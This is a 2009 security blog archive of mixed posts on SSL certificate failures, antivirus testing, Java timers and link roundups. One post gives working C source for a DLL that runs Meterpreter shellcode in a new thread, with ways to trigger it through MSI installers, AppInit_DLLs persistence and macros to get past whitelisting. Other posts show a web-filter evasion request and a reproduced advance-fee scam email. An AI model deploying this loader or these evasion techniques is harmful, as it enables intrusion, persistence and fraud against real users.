Back to Top

Friday, January 30, 2009

Reason #341 for using


I’ve written about, a place to ask and answer programming questions. And here is an other reason to use it: they have great error pages :-)


And today I’ve learned something new on SO from Oliver Giesen (also, his SO profile): you can’t delete executable files which are “in use” (programs are being run from it), but you can rename them! I verified this with a small test program, and indeed, it is so. The same is true (not surprisingly) for DLL files. This trick can come in handy for cleaning malware.

Thursday, January 29, 2009

You say features, I say (possible) vulnerabilities


I was listening to a recent MindOfRoot podcast (good podcast BTW if you are interested in IT type topics) which included an interview with a Microsoftie about WS-MAN (sorry for not recalling the exact name of the person). If you don't know (I didn't) WS-MAN stands for (drum roll please): web services management. That's right boys and girls, getting SOA in your switches and routers. I thought SOA was soo over - grin :). Getting (somewhat) serious, the value proposal makes almost no sense and is (IMHO) an other example of Microsoft showing the Not Invented Here syndrome. Points:

  • He admits that we already have SNMP but criticizes it for being quirky. The example that he gives is that the method to reboot some equipment is to set uptime to zero. WS-MAN, he says (I really should look up this chaps name, shouldn't I?) will have "real methods". Well, no standard has been ever implemented the same way by all vendors. Unless you have a single vendor (*cough* Microsoft *cough*) delivering all the software, there will be differences, just as there are differences in SNMP and management software will have to adjust for them (just the way it does for SNMP today).
  • An other argument is "security". He says that by using SSL (TLS) you just double encrypt the data, since it is already encrypted, but then admits that passwords go in the clear unless you do use TLS. First of all, web services but no mention of WS-Security? Second of all, are you really telling me that vendors will put all that extra processing power in their equipments to support TLS? And if not (if this is an optional feature), we're back to SNMP (cleartext passwords - cool). Also, given how less than 1% of the websites on the Internet correctly supports SSL, what exactly makes you think that admins will configure this infrastructure correctly with server and client certificates? (BTW, they didn't mention client certificates, but I really hope they support them)
  • An other argument: it has the option to enumerate all the parameters! How is this substantially different from the SNMP MIB's?
  • Yet an other argument: it will run trought port 80 (ok, this definitely seems to indicate a cleartext protocol), so you won't have problems passing trough your corporate firewall / proxy. BTW, did I mention that this friggin thing will run over HTTP? (WS is defined for multiple transports - including email and FTP - but HTTP is the most popular one which always gets associated). So now you want to shove an HTTP server in the network equipments and just assume that it won't have any vulnerabilities because the HTTP and XML standards are soo simple - not! Getting back to the "bypassing firewall" argument:
    • First of all - you are IT! WTF are you trying to do bypassing yourself? If your organization is f***'d up at that level that you can't open ports for legitimate reasons, you have bigger problems. And if it isn't a legitimate business reason, it is very good that they are blocking your ass!
    • Putting everything over the same port makes it very hard to categorize traffic. Of course this is not the first time MS has done that: open up filesharing and congratultions - now others can use DCOM, WMI, etc on your system. Talk about a large attack surface and a complete disregard for the "one port - one service" principle!
    • Incidentally you can use HTTP proxies to tunnel arbitrary TCP connections (if they are so configured) with the CONNECT method (this is how HTTPS trough a proxy works if the proxy doesn't MITM's it).
  • And finally: an other proclaimed advantage is its integration with PowerShell. Yes, PowerShell seems really cool, but wouldn't it have been much simpler (and more compatible and more useful - because we have SNMP capable hardware now) to just add SNMP capabilities to PowerShell? IMHO, it would.

So there you have it, an other thing which isn't needed. Looking forward to exploit bugs and improperly configured services of these types in 5 years.

PS. Maybe Google will index these and we can Google hack switches and routers! :-)

Wednesday, January 28, 2009

Can you test AV using VirusTotal?


Just a little post to bait Kurt :-)

Many people are up in arms about the idea of submitting a sample to VirusTotal and interpreting the (usually rather poor) detection count. A few links to get you started:

Now, if you read trough those, you might think that such numbers are entirely without merit and performed only by ambulance chasing amateurs who don't know better or want go create sensationalist headlines. The truth is of course somewhere in the middle, but much of the arguments given by the anti-VT-numbers doesn't seem bulletproof to me:

  • The biggest argument seems to be that full-blown AV installations have "other means" for detecting malware which is not incorportated in the command-line scanners. Here is my problem with this argument:
    • Nobody seems to be able to point the finger at what technology that should be. Is is a firewall which asks "program X wants to connect to the Internet. Allow / Deny"? Then the AV might just be perfect :-). Didier mentions McAfee's ScriptScan, but he is the one pointing out that it is easily circumvented (and I didn't even mention the issue that the technology is IE specific AFAIK, so all of Firefox / Opera users don't have the extra protection.
    • This is basically the same configuration which runs on e-mail gateways / http proxies, so if this doesn't catch it, neither will your proxy!
    • An other magical pixie dust feature would be "sandboxing", which is "not used" on VirusTotal. In fact it is! Many AV products include in them an x86 execution engine and use it for unpacking or detecting different behavior. Of course this is limited by time, but it is still "executing in an emulated environment". (Two products which rely heavily on this and are present on VT are Norman and ESET NOD32) - so you have your sandboxing
    The gist of the matter is: if it can't detect it "offline", you're in very muddy waters, praying that the "online" detection will catch it before it can do real damage (for example it is conceivable that such online detection works on the basis of accumulating scores, which would mean that the file has done several dubious actions before it accumulated a high enough score) and then there is the whole issue of bugs in these software.
  • Virus signatures are not updated frequently - well they are updated more frequently than the ones on the average user's computer.
  • AV software is not configured properly - the guys at VT are very good about getting back to you and I'm sure that if such a concern would be a real one, companies would have already advised them on how to do it.
  • The fact that no detection is returned might mean that the AV timed out - so what? Most desktop AV programs contain hard limits on execution time and file size (to avoid making the computer unusable) and if either of those is tripped, the file is not scanned!

So there you have it: the detection in the "real world" might be slightly better than on VT, but not so much better that you can disqualify the results.

Monday, January 26, 2009

Gimme Dope Obama


Via Assarbad’s blog:

The original is from SWR3, host of other great shows like Wie war der Tag, Liebling?.

Also, some new blogs I've subscribed to:

Also, somebody seems to have had a lot of free time:

(The idea is that you can put links into youtube videos and somebody used this to create an entire game)

Finally, some serious stuff: recordings from the Security and Human Behavior Workshop.

Mixed links


(Most of these links are from the GSD blog)

The Dude - a network scanning and mapping software. Free and available for Linux!

SmartSniff - not very interesting, but I found out that you can use raw sockets to sniff traffic (not just to craft arbitrary traffic).

4 Tools You Need To Predict The Death Of Your Hard Drive - good to keep in mind.

From the Lightweight Linux blog: Burn CDs and DVDs with cdw - an ncurses interface to CD burning under linux.

Sunday, January 25, 2009

The original SPAM video


From Monthy Python:

Saturday, January 24, 2009

Bulletproof hosting


Google not being evil :-)

Spam from the F-Secure forums


It is no secret that I have less than stellar opinion about F-Secure (the short version is: in my opinion they are a reseller of the Kaspersky engine, but usually manage to get lower detection rates in tests and they like to talk about their research, even though all the hard work is done by the guys at Kaspersky, F-Secure being the marketing department lead by Mikko Hypponen), but this is funny: some spammer is using their forum to send messages to the registered users:

Hello Cd-MaN

You received the following message from :  Doudou1  (


From Miss Sussana Boga.
Abidjan. Cote d'Ivoire
Email :(
Hello dear,
With profound respect and humble submission, and I beg to state the following few lines for your kind consideration, I hope you will spare some of your valuable minutes to read the following appeal with sympathetic mind. I must confess that it is with great hopes, joy and enthusiasm that I write you this mail which I know and believe by the faith that it must surely find you in good condition of health. My name is Miss Sussana Boga, I am the only Daughter of my late parents Mr. and Mrs Boga Doudou My father was a highly reputable business magnet who operated in the capital of Ivory Coast during his days.
It is sad to say that he passed away mysteriously in France during one of his business trips abroad on the 20th May 2007. Though his sudden death was linked or rather suspected to have been masterminded by an uncle of mine who travelled with him at that time, but who knows the truth! My mother died when I was just 6yrs old, and since then my father took me so special.
Before the death of my father on May 2007, he called me and informed me that he has the sum of Nine Million, Five Hundred thousand United State Dollars.(USD$9,500,000.00) he deposited in a fix bond account in a private Bank here in Abidjan Cote D'Ivoire.. He told me that he deposited the money in my name, and also gave me all the necessary legal documents regarding to this deposit with the Bank
I am just 21 years old and a university undergraduate and really don't know what to do. Now I want an honest partner overseas who I can transfer this money with his assistance and after the transaction I will come and reside permanently in your country till such a time that it will be convenient for me to return back home if I so desire. This is because I have suffered a lot of set backs as a result of incessant political crisis here in Ivory coast. The death of my father actually brought sorrow to my life. I also want to invest the fund under your care because I am ignorant of business world.
I am in a sincere desire of your humble assistance in this regards. Your suggestions and ideas will be highly regarded. Now permit me to ask these few questions:
1. Can you honestly help me from your heart?
2. Can I completely trust you?
3. What percentage of the total amount in question will be good for you after the fund has being transferred to your account and I come over to meet you?

Please, consider this and get back to me as soon as possible in my private Email:
( Immediately I confirm your willingness, I will send to you my Picture and also inform you more details involved in this matter.
Miss Sussana Boga.

Improvement to Software Restriction Policies in Windows 7


While listening to the episode of RunAs Radio about Windows 7 I've heard about AppLocker, a beefed up version of Software Restriction Policies.

It is an interesting improvement, but I expect that it will still be enforced from User Mode, making it not as secure as it could be. Also, given the recent mishaps with certification authorities (creating rogue CA's, issuing certificates for, etc), I question the effectiveness of this method.

Finally, some time ago, when I looked at the certificates of executable files, I found a situation similar with the ones of SSL certificates: lots of different names, mixed certificates coming from the same company (including Microsoft)...

Mixed links


GCC has built-in primitives to walk the stack. Neato! (of course if you foobard your stack...)

ParetoLogic is blogging. Just don't forget where they come from.

Via the All about Linux blog: Lazy Linux: 10 essential tricks for admins.

Friday, January 23, 2009

Possible PE file trick


I was reading this: pefile and LOAD_CONFIG and took a look at the structure: IMAGE_LOAD_CONFIG_DIRECTORY Structure. Some things which I found interesting:

  • GlobalFlagsClear - The global flags that control system behavior. For more information, see Gflags.exe.
  • GlobalFlagsSet - The global flags that control system behavior. For more information, see Gflags.exe.
  • LockPrefixTable - The VA of a list of addresses where the LOCK prefix is used. These will be replaced by NOP on single-processor systems. This member is available only for x86.

The first two might be interesting to turn off some debuggers, or conversely, register itself as a debugger and launch a new process with this... The last one might be similar with the TLS trick because it can (in theory) overwrite arbitrary bytes (although only with the fixed value of 0x90 and I don't know if it check that the byte is 0xF0). I couldn't manage to get it to work, probably because I'm not giving the list correctly...

Ethical hacker challenge solution posted


To the Santa Claus is Hacking in Town challenge. You can find it here: Santa Claus is Hacking to Town - Answers and Winners. Unfortunately my answer wasn't accepted 100% because of a small misunderstanding, but it got cleared up and all is good now :-). The RaDaJo blog also posted a detailed solution (warning! pdf!). It is nice to find out that Metasploit already has this ability, you don't need third-party tools. Hopefully search engines will pick up the text from the PDF, so that more textual information will be available about it.

Mixed links


From the Security4All blog: Preventing Brute Force attacks with IPTABLES (Rate Limiting) – iptables is an incredibly versatile tool!

Via the nezumi-lab blog: patch-diff – a free (as in beer) alternative for BinDiff.

Something like Google Streetview, but not quite for Romania: NORC (they are using Google Maps underneath, but it seems that the photos are theirs, not from Google)

RDP is insecure. So are SSL certificate authorities (caveat: the owner of the given blog works for a competiting CA, but the mistake Comodo made is still major).

From Stackoverflow podcast #36: Source Control HOWTO. It is a nice introduction, which tries to stay product neutral. Other books also offer introductions, but it is nice to have multiple point of views (the basic idea is: a SCM tool is just something which keeps sets of diffs between files and tries to re-apply them in the proper order. It is not a magic tool which guarantees that you will get the proper result at the end – or that the result is a syntactically correct file for that matter – but it works in 99.9% of the cases).

Bypassing file system security in Windows – this is not a security flaw, since you already have to have permissions to load drivers (from which point on you can do whatever you want :-)), but still an interesting info.

Talking to a Wiimote in Ubuntu 8.10 – very cool, and the small Bluetooth adapter is very cute (at first I thought that the image was truncated, it is so small :-)).

A quick tool to inject DLL's – for cases when you are too lazy to roll your own. Just a word of warning: take the source code, look at it, and compile it yourself. It is not prudent to use binary tools directly, especially these types of tools.

From Closing the 'Collapse Gap': the USSR was better prepared for collapse than the US. An interesting perspective, and living in a post-communist country, I can vouch that, at least some of the items, are very true, like repairing stuff vs. getting a new one.

Via Schneier on Security: The Cost of Fearing Strangers. An interesting / related thought is: because of the Internet (blogs, social networks, etc) a lot of people start to know as much (or even more) about other people as their friends / relatives. Does this mean that the probability of being harmed increases as more and more people know about us?

On LinuxWorld we can read an interview with Linus Torvalds. Although it is poorly marked up (for example you can’t really tell visually which paragraphs belong to the reporter and which to Linus), it is an interesting read nevertheless.

From devnet's  Bookmarks: Flash OBJECT and EMBED tag attributes (rant: why does a simple information page need javascript turned on to be visible?). The most interesting option to me was:

swliveconnect - Possible values: true, false. Specifies whether the browser should start Java when loading the Flash Player for the first time. The default value is false if this attribute is omitted. If you use JavaScript and Flash on the same page, Java must be running for the FSCommand to work.

What seems dubious to me is the mention of Java. I’m not entirely how this interacts with JavaScript and LiveConnect, but it is good to know for later engagements (probably you can instantiate Java classes from Flash?).

From the SANS blog: How to Use Twitter for Information Mining. I especially liked the visual tools like TwitterStreamGraphs and TwitterVenn.

NiceTranslator – a very nice :-p and quick way to translate text back and forth. Based on Google Translator.

Removing Persistent Malware – it is interesting (nice?) to see that a security company (although not one of the “Big Four”) is recommending using an Ubuntu LiveCD to clean a Windows machine.

The RaDaJo guys posted the answers to the NMAP trivia questions. Very interesting read and probably most of us can find out something new about NMAP (for example, one thing I found interesting is that it can write a packettrace file with the traffic sent/received).

Thursday, January 22, 2009

This made my day!


I was wondering about the opening music for the Pauldotcom podcast and I couldn't manage to find it. However, Paul was kind enough to write back to me and say that it is from a group called Burnshee Thornside. I went to their site and discovered not only the theme song ("Wish I Could Write Lyrics Like Bob Dylan"), but also the (old) theme song for an other podcast I liked (Casting From The Server Room) and never could figure out either ("Chevrolet").

Here are the albums for your enjoyment (if you are reading this from an online reader and not seeing it, you might need to come to my blog, because some RSS readers block third party Javascript / Flash for security reasons):

The Art of Not Blending In by Burnshee Thornside

Rock This Moon by Burnshee Thornside

Blues and misc by Burnshee Thornside



Tyler and Marcin started the site, which inspired me to do some digging of my own. The results are shocking!

A few words about the methodology: I took the top 1 000 000 sites list from Alexa (love them or hate them for their toolbars, but it is very nice of them to provide this list freely and without any registration or stuff - I admit that I went to their site with the intent to scrape it and was very pleasantly surprised). I feed the list to a simple multi-threaded Perl script which tried to download the https://$site/ URL (with cURL - BTW you can hear an interview with the creator of curl on FLOSS weekly) and recorded the error code. It managed to go over 358947 entries before the power went out, so here are the partial results :-)

cURL error message cURL error code Number of sites Percent of sites
Couldn't resolve host




Failed to connect to the host




The remote SSL certificate wasn't ok




SSL connect error




Problem with CA cert




No error




Operation timeout




The server didn't reply anything







Even if I ignore the errors associated with my network connection (the two largest categories “Couldn’t resolve host”, “Failed to connect to the host” and “Operation timeout”), and the one which seems to be a statistical fluke (“The server didn’t reply anything”), the sites which have their SSL certificates in order come in dead last (!) with 5%. How can we instruct people to look for proper SSL encryption when the sites themselves fail to provide such?

The biggest percent is made out of the “The remote SSL certificate wasn’t ok” case which seems to caused mostly by sites that reuse SSL certificates issued for other domains (for example use the certificate for

The second biggest problem in case of SSL sites was “SSL connect error” (including on These servers seems to keep port 443 server open, but don’t respond with anything. Are they tarpiting the connection? Why would they do that?

The last error (which still outnumbers the no-error cases by a factor of 5!) was “Problem with CA cert”. A cursory check seems to indicate that these are mostly self-signed certificates. While such certificates do provide some guarantees, it would be much better for them to use proper ones (they are not that expensive).

My (sad) conclusion: SSL == fail.

PS. The terminal23 blog contains further bad news. I thought that at least EV certificates (although way too expensive), at least they provide some guarantee that proper checks have been done. It seems not...

Monday, January 19, 2009

An interesting video


Ok, I really should stop dicking around and start working :-), but this is very interesting (and not just because I'm a fan of Fatboy Slim). In parts it is sentimental, in parts it is overstated, but an interesting watch nonetheless.

Did You Know? from Amybeth on Vimeo.

Funny flash


From Tesla Coil: Super Mario Theme With Lightning. Seriously cool!

From good friend of mine:

wingsuit base jumping from Ali on Vimeo.

And from absoblogginlutely: Auditorium

Now I should get back to work :-)

Thursday, January 15, 2009

Watch out for long running tasks with Java Timer


The problem? Write a code which will execute every N seconds.

The solution? Using a Timer with scheduleAtFixedRate.

Now you got two problems :-), unless you've carefully read the documentation which states (emphasis added):

If an execution is delayed for any reason (such as garbage collection or other background activity), two or more executions will occur in rapid succession to "catch up."

You might not want this, especially if the backlog is long... The solution is given by the TimerTask documentation:

  if (System.currentTimeMillis() - scheduledExecutionTime() >= MAX_TARDINESS)
    return;  // Too late; skip this execution.

PS. My first instinct was to use the "resubscribe from the inner function" pattern, which is very popular in the Javascript world. For some reason very few people seem to know about the setInterval function... Getting back to the topic: apparently calling schedule from inside the run function results in an IllegalStateException being thrown, although I couldn't find the documentation stating this or giving a reason...

Update: as it was pointed out by a colleague, you can solve the problem with the schedule call. The upside is that you have minimal code change, the downside being that you will have two short-scheduled events if one execution takes long, because it uses the start time for the previous execution to calculate the execution time for the next event (the scenario is: the task starts at T and takes until T+t1 to execute. The next scheduled execution will be at T+t2, and if t2 < t1, it will be re-executed shortly after the first execution. This is not a problem, unless your scheduled task routinely takes longer than the rate to execute).

Preventing your site from becomming a spammer heaven


An other resource to help webmasters keep their new years resolution:

Preventing Virtual Blight complete with video and slides :-)

Circumventing web filtering software


I was reading the Messing with Web Filtering Gateways post from GNU Citizen, and here are some comments / ideas:

  • The problem is the impedance mismatch between the way the filtering software is parsing the headers and the way the webserver parses them. There will always be corner cases... For example, it would be interesting to see how filtering gateways / proxies / web servers react to the following type of requests (and what are the discrepancies between their behaviors):
    GET / HTTP/1.1
    Host: the.real.hostname
  • As I recently found out the translate from English to English trick is now blocked by Google Translate (and also by Babelfish). They also blocked the "autodetect to English" version. Nice :-) Some alternatives are enumerated in the comments of the GNU Citizen post.
  • I tried the Yahoo Pipes version. It works great, the only problem is that it obeys the robots.txt :-), which can block it from some sites.
  • I also tried to use Google Translate twice (for exampel EN -> RO -> EN), but this seems to create an infinite recursion :-). I did the following: EN -> GE with Babelfish and then GE -> EN with Google Translate, but as you can guess, the results are not spectacular :-). Take a look here at the proxied Slashdot page.

Conclusion? Web filtering is useful, especially for keeping out really bad stuff (like malware). However, don't rely on it to solve your policy violation problems.

Tuesday, January 13, 2009 revival - #2


These posts republish content from the now defunct site. The following one is a very good one, by somebody who knows networking: Martin Roesch, the author and lead developer of Snort.

Dissecting GRC's NanoProbes

by martin.roesch

Comments refer to :

Ok, so in the "broken out" packet dump at the bottom of the page, he's got several errors.

  1. The TCP offset (TCP header length) is set to 6, which means that the TCP header length should be 24, and the packet shown only has a 20 byte header.
  2. The Sequence number is 0, which should never happen on a SYN packet and would be easily picked up by any intrusion detection system (like Snort).
  3. The IP datagram length field shows 44-bytes, but once again we're only shown 40-bytes. Where'd those other 4 bytes go?

Beyond that, this is a standard SYN packet, hardly revolutionary.

The packet at the top is a simple ICMP ECHO packet (ping), which is presumably being filtered at the NSA's gateway.  That's why a response has "never been received"... Ooh, spooky!

The other claims are so much fluff.  Temporal density?  Just because the packet's got half as many bits as the equivalent ECHO packet from MS doesn't mean that the extra nanosecond saved is going to be added onto your life.

These packet's aren't stealthed by any measure, they're only stealthed to the uninitiated because most peoples eyes glaze over when confronted with binary data.  What we've been presented with is a an ICMP ECHO packet and a TCP SYN packet.

Let's look at the other claims:

"While you wait, real-time operation"
Explanation: When you execute the program, it runs and reports back to you.

"Continuous host-presence verification"
Explanation: When you run the scan, it pings the target to make sure it's up.  Contrary to the claims on the web page, every other scanner under the sun that's used for any large scale application (like nmap, CyberCop, ISS, etc) does this.

"Comprehensive host IP address determination"
Explanation: Resolves DNS names, can make other DNS queries.

"Host stealth technology detection, penetration, and appraisal"
Explanation: If the host is discovered, it will be scanned!  If the host can be reached through the firewall, it'll also be scanned.  If the firewall is filtering the traffic, the program will attempt to get through but probably won't unless some well known vulnerability can be exploited.

"True firewall, versus simple packet filter, discrimination"
Explanation: They see if their packets are rejected outright or if some sort of connection establishment is allowed.

"Special "Half-Open" TCP connection "SYN" probing"
Explanation: This was special about four years ago, but now it's just called a SYN scan.  This is different than a full SYN scan in that the connection is dropped after receiving the returned SYN-ACK packet instead of letting the connection complete.  This is different from a free port scanner like nmap in exactly 0 ways.

"Advanced TCP non-connection "ACK" probing"
Explanation: They can do ACK scans as well.   This is completely revoloutionary unless you've used almost any other free scanner in the past four years.

"Fragmented and reordered packet filtering vulnerability assessment
Explanation: nmap + fragrouter = this capability, plus more!

"UDP/ICMP reflection response probing"
Explanation: If you send a properly formatted UDP packet to port 137 on MS boxen that allow it, you'll get a response back.  If it's not available, you'll get an ICMP UNREACHABLE.  My god, the amazing powers of this software aren't to be believed!!

"Differential source IP analysis"
Explanation: IP spoofing! Revolutionary! Nmap has only had this capability for (at least) four years, but these guys have made it revolutionary by sticking it in their product to jack with badly misconfigured firewalls.  Amazing!

"Personal Router vulnerability assessment"
Explanation: If you're behind a NAT, there's a chance that the nanoprobe may notice!

"Last-Hop Router vulnerability assessment"
Explanation: If your router/NAT is badly misconfigured, a nanoprobe may be able to see some of the other addresses that the thing is configured to talk to.

"Active protocol testing"
Explanation: Application layer testing, such as trying to brute force passwords on SMB shares.  This has never been done before, unless of course you count the NetBIOS Auditing Tool (nat) program from the mid 90s...

"Packet round trip time (RTT) profiling"
Explanation: This is useful if you're trying to see if there's any time based elements to see if you're talking to a firewall or directly to the host.  Righteous.

"Absolutely spoof proof"
Explanation: "We can't be spoofed because we make our own packets!"   What about man in the middle attacks guys?  Are you talking IPv6 or over an encrypted tunnel?  No?  Oops, you can be spoofed.

Anybody remember the FreeVeracity BS from a few weeks back?  I smell repeat! There's no magic here, other than the fact that this got posted to Slashdot at all.

Hack the Gibson #169


Read the reason for these posts. Read Steve Gibson's response.

Steve Gibson says that MSRT runs when restarting the computer:

... And then it runs the next time you restart your machine

This is not true, not only because MS says so (The version of the tool delivered by Microsoft Update and Windows Update runs in the background - emphasis added), but also because it doesn't ask you to restart your computer. A caveat: if it found infections for which a restart is needed to be removed, it may ask you to restart your computer. But in most cases, it doesn't.

There is a discussion of a vaporware project CryptoLink, which seems to be a VPN project, for which no line of code is written at this moment however, by Steve Gibson's own admission. The discussion contains contradictory statements like:

It has a fundamental TNO, the Trust No One model, so that there's no third-party involved.


I mean, my intention is that it is an incredibly easy-to-use VPN product that, for example, supports the YubiKey natively, supports Perfect Paper Passwords natively, supports OpenID.

Of course supporting OpenID or YubiKey means trusting third parties to vouch for the current user...

Regarding the voting discussion: no, we don't have all the technology! The fundamental problem of making sure that the one-person - one-vote equation stands does not exists yet. Mind you, that this is different than doing e-Banking for example, because the bank can (and should) know who you are, as opposed to a voting situation where we want to have secret (anonymous) voting.

Regarding the frequent changes in NoScript: first off, you can read the Changelog (even though, based on hist comments, Steve didn't). Second of all, NoScript includes extensive filtering (blacklisting) technologies (mainly related to XSS AFAIK), which are update when methods of bypassing it are found. It is angering to hear Steve implying that the product is "half-baked", without him even bothering researching 2 minutes the issue.

Regarding the self-closing netstat command (BTW, the correct term is not "DOS Box" but "Console"): the user is probably running the command from Start -> Run, instead from a running instance of cmd.exe. This way the console is destroyed as soon as the program finishes. What he should do (and Steve should have recommended) is to start cmd by going Start -> Run and typing cmd[Enter], and at the command line type nestat (or even better, netstat -an, which is much quicker).

Disabling accessibility features on the Welcome Screen for Windows XP


As I said before, one of the first thing I do when I install WinXP is to disable the accessibility features. However this is a per user setting and I would like to disable it on the welcome screen also.

This is especially useful for the default setup I do: an administrative user and a limited user. The system is set to automatically log in to the limited user, and if you want to prevent this, you have to hold down the SHIFT key, which could result in StickyKeys to be activated for the Welcome Screen. Below are two ways to disable this:

First, the hard way:

  1. Find the SID for the System account. The easiest way I know of is using PsGetSid: psgetsid.exe SYSTEM
  2. Open a registry editor and navigate to HKEY_USERS\[the SID from the previous step]\Control Panel\Accessibility
  3. Use the values enumerated in this article to customize your settings.

Now, the easy way:

  1. Get PsExec.
  2. Run the command: psexec.exe -x c:\windows\system32\control.exe
  3. Go to the Winlogon desktop (the Welcome Screen) by doing Start -> Log Off -> Switch User. You should see the Control Panel displayed and you can change the settings the way you would like them.

PS. This second way makes the Welcome Screen disappear. Don't worry, you will get it back after the next reboot.

Mixed links


From Graph Gear, a very nice flash based open source (!) graphing solution. Very nice if you want to display graphs online.

Interesting to know: why is Italy excluded from all online contests?

From devnet's bookmarks: SS64 - command references for Windows, Linux (bash), Powershell and Oracle. This site is a good resource which comes up frequently in my searches for command line-fu.

Asus launches the Eee keyboard. Having started on a TV connected minicomputer, this is very cool! (although not very useful IMHO)

Want to save ink? Use Ecofont. Or better yet, don't print out stuff :-)

Via Didier Stevens: phidgets - very cool pre-assembled hardware extenders for your PC. Very cool. It is multi platform (Win, Linux, Mac and Win Mobile - wow!). I wonder if it would work with a router running OpenWRT...

From One Laptop Per Hacker. Sounds interesting. Wonder what they want in return...

Interesting idea to exploit compilers. You can find my test results with lcc-win32 in the comments.

Two cent tips from the Linux gazette, including audio feedback on ping and using the bash variables.

Monday, January 12, 2009

Loading the Meterpreter in a DLL


After ranting about Metasploit I played around a little bit and tried out a little and here a part of what I found:

Some times it may be useful to load the Meterpreter (or any payload in fact) as a DLL. Two scenarios I can think of:

  • Software Restriction Policies (and many other whitelisting products) don't filter DLLs (even though, they probably can be configured - SRP can be for example), so it might be useful to get in and execute the code from a DLL.
  • It may be interesting to load it in a MSI.

Anyway, first I tried the easy way: generate an executable and patch it as a DLL with a short pefile script:

import pefile
pe = pefile.PE("runme.exe")
pe.FILE_HEADER.Characteristics += 0x2000

This works... With a couple quite problematic shortcomings:

  • The PE file generated by msfpayload is based at 0x400000 and contains no relocation information, making it quite unlikely that it can be loaded in any real application...
  • And second: the launching of the shellcode is done from what is the "DllMain", resulting in the fact that the thread which loads the DLL will go in never ever land and won't be heard of again (with less nonsense: it will execute the shellcode and won't return from it, which can lead to things like freezing GUI / application if it is loaded from the main thread).

The conclusion is that a custom DLL written in C is needed. Fortunately it is quite easy to write such a thing. For this example I use the LCC-Win32 compiler because it is a nice and slim one, but you can use anything (like GCC, Watcom C - which is also free BTW - or even Visual C++).

First, export the shellcode:

./msfpayload windows/meterpreter/bind_tcp C > foo.txt

You should see something like the following in the output file:

unsigned char buf[] =



Now it is time to create the project. The full source code is below (I omitted the actual payload code to shorted the post a little:


#ifdef __cplusplus
extern "C" DWORD WINAPI __declspec(dllexport) doNothingFunc(HANDLE hInstaller);

unsigned char buf[] =

DWORD WINAPI __declspec(dllexport) doNothingFunc(HANDLE hInstaller) {
 // we have done nothing successfully :-)
 MessageBox(NULL, "Here!", "Here!", MB_OK + MB_SERVICE_NOTIFICATION);

DWORD WINAPI startShellcode(LPVOID lpParameter) {
 DWORD oldProtect;
 DWORD (*shellcode)(void);

 HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, sizeof(buf), 2*sizeof(buf));
 if (NULL == hHeap) return GetLastError();
 void *shellCodeCopy = HeapAlloc(hHeap, 0, sizeof(buf));
 if (NULL == shellCodeCopy) return GetLastError();

 memcpy(shellCodeCopy, buf, sizeof(buf));
 VirtualProtect(shellCodeCopy, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect);
 shellcode = shellCodeCopy;
 return shellcode();

BOOL WINAPI __declspec(dllexport) LibMain(HINSTANCE hDLLInst, DWORD fdwReason, LPVOID lpvReserved) {
 if (DLL_PROCESS_ATTACH == fdwReason) {
  CreateThread(NULL, 0, startShellcode, NULL, 0, NULL);

    return TRUE;


A few remarks about the source code:

  • The modus operandi is the following: as soon as the DLL is loaded a new thread is spawned. This thread copies the shellcode to a newly allocated memory block and jumps to it. This means that you don't need to actually call functions from the DLL to start it. Also, this means that the thread loading the DLL is not blocked.
  • The zone where the shellcode is copied is marked properly with the execution attribute, this means that it will work even with NX/DEP enabled (because we're telling the OS that we do want to execute code from the given memory pages)
  • Casting the pointer to the shellcode to a function pointer and calling it trough that was necessary because LCC doesn't seem to support inline assembly statements. As a sideeffect this code is also more portable (because it doesn't have to account for the Intel vs. AT&T assembly syntax differences)
  • If you are compiling this LCC, you need to explicitly disable the "name mangling" for the exports to have the correct name (otherwise it will be named like "_doNothingFunc@4"). You can do this, go to Project -> Configuration -> Linker and check the "Do not include underscores in the dll exports" option.

Now, how can you load this dll?

  • Via rundll32 (for testing): rundll32 mdll.dll,doNothingFunc 123
  • Including it in an install kit. You need to add lines similar to the following to the WiX script previously discussed:
    <Binary Id="SampleDllCa" SourceFile="/pefile/mdll/lcc/msdll.dll" />
    <CustomAction Id="Meterpreter" BinaryKey="SampleDllCa" DllEntry="doNothingFunc" />
      <Custom Action="Meterpreter" Sequence='1'/>
  • Using the AppInit_DLLS registry key. Contrary with what the linked documentation says, this works up to Windows 2k3. In Vista they changed it to LoadAppInit_DLLs with stricter ACLs (thanks to Raymond Chen for the link). One sideeffect is that the DLL is loaded every application, so be prepared to get a bunch of connections if you are using the connect-back payload.
  • Importing the DLL from a macro. You can also check out Didier Steven's post about this topic.

One thing to keep in mind is that the process which hosts the DLL might end quickly, so something like this script to automatically migrate to a new process should be taken into consideration.

Have fun and stay safe!

Update: the same MSI is executed both on installing and uninstalling the product, so the DLL does have a second chance to run.

Two new podcasts


Just wanted to announce two new podcasts I've started listening to, and maybe they would be of interest to people interested in security:

  • The IT Security Pubcast - a South African podcast with security professionals who have real, hands-on experience with the physical aspects of security. Being a more electronic-only guy, this is a very interesting source for me. Also, the sound quality is very good. If you are interested in security, be sure to listen to it, it's well worth your time.
  • The Reality Check podcast. From the host of the Silver Bullet podcast. It is described as:

    The Reality Check Podcast with Gary McGraw will focus on software security practitioners and practical software security. We’ll interview people involved in running large-scale software security initiatives.

Sunday, January 11, 2009

A quick personal todo


Check out the Sony PS-LX300USB turntable. I've known about the one ThinkGeek offers, but this review sounds very good. Also, Amazon seems to offer some nice accessories for music archiving (like the record cleaner brushes / solutions).

Friday, January 09, 2009

On the topic of contests...


The latest packetlife challenge is over and here is the solution. Very cool.

And here is a challenge I almost forgot about (since this too is very network oriented and I currently don't have the time to dig up all the information needed): NMAP Trivia: Mastering Network Mapping and Scanning. If you want to take part in it, hurry up, since the deadline is the 15th of January.

Two more involved contests


The first is the First Annual SIGMOD Programming Contest (via nconway's blog). You need to create data structures to index a generated data stream (in fact streams, because multiple streams are presented to you in parallel) and perform operations on them (insert, update, query).

The second one is the Cisco Developer Contest (link from The first deadline is the 12th January 2009 27th of February. Apparently you can put small computers running Linux in some of routers and they can run applications + they can interact with the router. Check out the video here. The prizes seems substantial ("total prize pool valued at US $100,000"). revival - #1


After starting a one-man movement :-) to clarify the muddy waters created by Steve Gibson, I was relieved to find that I'm not alone in my opinion. The central site gathering all the information was, the domain registration of which expired somewhere around June 2007, and since than you can only find a domain parking page.

Fortunately, the Internet Archive has a copy of the site, and I will be republishing here parts of it (with added commentary where I feel that it is necessary) to make sure that it doesn't get lost. Enjoy!

